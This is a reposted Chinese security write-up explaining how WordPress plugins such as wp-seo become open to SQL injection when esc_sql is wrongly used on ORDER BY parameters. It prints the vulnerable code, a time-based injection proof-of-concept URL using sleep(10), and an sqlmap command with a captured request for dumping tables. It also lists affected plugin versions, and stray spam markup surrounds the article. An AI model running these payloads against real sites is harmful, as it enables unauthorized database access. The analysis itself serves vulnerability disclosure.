<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/web/5282

            0x00 背景


            這篇文章說的不是esc_sql函數自身有什么邏輯上缺陷或者不足,而是說下關于二次開發者錯誤的使用此函數引起的注入漏洞。

            在wordpress手冊中關于esc_sql的解釋,在以前的版本中,官方并沒有說出這個函數有任何問題:

            enter image description here

            在近期的wordpress手冊中說出了這個函數如果錯誤使用會造成注入漏洞:

            enter image description here

            0x01 分析


            我們再看下esc_sql的實現:

            #!php
            function esc_sql( $data ) {
                global $wpdb;
                return $wpdb->_escape( $data );
            }
            function _escape( $data ) {
                if ( is_array( $data ) ) {
                    foreach ( $data as $k => $v ) {
                        if ( is_array($v) )
                            $data[$k] = $this->_escape( $v );
                        else
                            $data[$k] = $this->_real_escape( $v );
                        }
                    } else {
                $data = $this->_real_escape( $data );
                }
                return $data;
            }
            function _real_escape( $string ) {
                if ( $this->dbh ) {
                    if ( $this->use_mysqli ) {
                        return mysqli_real_escape_string( $this->dbh, $string );
                    } else {
                return mysql_real_escape_string( $string, $this->dbh );
                }
            }
            $class = get_class( $this );
            if ( function_exists( '__' ) ) {
                _doing_it_wrong( $class, sprintf( __( '%s must set a database connection for use with escaping.' ), $class ), E_USER_NOTICE );
            } else {
                _doing_it_wrong( $class, sprintf( '%s must set a database connection for use with escaping.', $class ), E_USER_NOTICE );
            }
                return addslashes( $string );
            }
            

            通過對比上面兩個手冊和代碼我們可以清晰的得出以下幾個結論:

            由于老版本手冊的說明不嚴謹問題,在很多二次開發者使用esc_sql函數的時候出現了注入漏洞。

            wp-seo插件注入漏洞

            在文件admin/class-bulk-editor-list-table.php中:

            #!php
            protected function parse_item_query( $subquery, $all_states, $post_type_clause ) {
            
                // Order By block
                $orderby = ! empty( $_GET['orderby'] ) ? esc_sql( sanitize_text_field( $_GET['orderby'] ) ) : 'post_title';
                $order ? = 'ASC';
            
                if ( ! empty( $_GET['order'] ) ) {
                    $order = esc_sql( strtoupper( sanitize_text_field( $_GET['order'] ) ) );
                }
            
                // Get all needed results
                $query = "
                SELECT ID, post_title, post_type, post_status, post_modified, post_date
                FROM {$subquery}
                WHERE post_status IN ({$all_states}) $post_type_clause
                ORDER BY {$orderby} {$order}
                LIMIT %d,%d
                ";
            
                return $query;
            }
            

            其中很明顯的漏洞出現了,然后就是構造poc:

            http://192.168.9.102/wordpress/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date%2c(select%20*%20from%20(select(sleep(10)))a)&order=asc
            

            如何使用sqlmap在order by后面延時注入,可以請參考:http://drops.wooyun.org/tips/5254自寫,也可以抓包:

            #!bash
            python sqlmap.py -r 2.txt --technique=B --dbms=MySQL -D wordpress --tables
            GET /wordpress/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=pos$
            Host: 192.168.9.102
            Proxy-Connection: keep-alive
            Cache-Control: max-age=0
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=$
            User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like$
            Accept-Encoding: gzip, deflate, sdch
            Accept-Language: zh-CN,zh;q=0.8
            Cookie: wordpress_1d5e8f89471a6349f1caf2e6b8aa4232=admin%7C1426827482%7CjKzM166$...
            

            出現這樣漏洞的插件還有:

            WooCommerce 2.3 – 2.3.5
            Pods 1.10 <= 2.5.1.1
            AffiliateWP < 1.5.7
            WP All Import < 4.1.2
            Gravity Forms < 1.9.4
            

            0x02 總結:


            從上面的分析和出現的已知漏洞不難看出,此函數濫用的插件應該不在少數。

            ? ??? ??

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线